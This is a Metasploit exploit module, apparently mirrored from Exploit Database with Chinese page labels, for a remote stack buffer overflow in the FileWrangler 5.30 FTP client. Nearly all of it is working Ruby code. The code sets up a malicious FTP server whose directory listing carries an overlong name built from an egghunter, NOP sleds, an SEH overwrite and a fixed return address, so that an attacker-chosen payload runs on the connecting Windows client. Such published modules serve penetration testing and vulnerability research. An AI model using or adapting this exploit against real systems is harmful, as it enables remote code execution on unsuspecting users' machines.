FileWrangler 5.30 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16721/

• ##
  # $Id: filewrangler_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FileWrangler 5.30 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the FileWrangler client
  				that is triggered when the client connects to a FTP server and lists
  				the directory contents, containing an overly long directory name.
  			},
  			'Author' 	 =>
  				[
  					'nullthreat',	# found bug
  					'corelanc0d3r'	# wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 3000,
  					'BadChars' => "\x00\x0d\x1a\x2a\x51",
  					'StackAdjustment' => -5000,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], #ppr [wrangler.exe]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  		print_status(" - Data connection set up")
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  
  		# create the egg hunter
  		print_status(" - Creating the Egg Hunter")
  		badchars = ""
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "W00T"
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  
  		# create hunter
  		predator = "\x90" * 42
  		predator << hunter
  
  		# create the crash payload
  		crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))
  
  		# Set nseh to jump back 50 (before egghunter)
  		jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"
  		nseh = "\xEB\xF9\x90\x90" # NSEH
  		seh = [target.ret].pack('V')
  
  		print_status(" - Building the Buffer")
  		buffer = crash + egg + predator + jmp + nseh + seh
  		strfolder = buffer + "B" * (5000-buffer.length) #make sure it dies
  
  		print_status(" - Sending directory list via data connection")
  		dirlist ="drwxrwxrwx1 1000 11111 Jun 11 21:10 #{strfolder}\r\n"
  		conn.put(dirlist)
  		conn.close
  		print_status(" - Waiting for egghunter...")
  		return
  
  	end
  
  end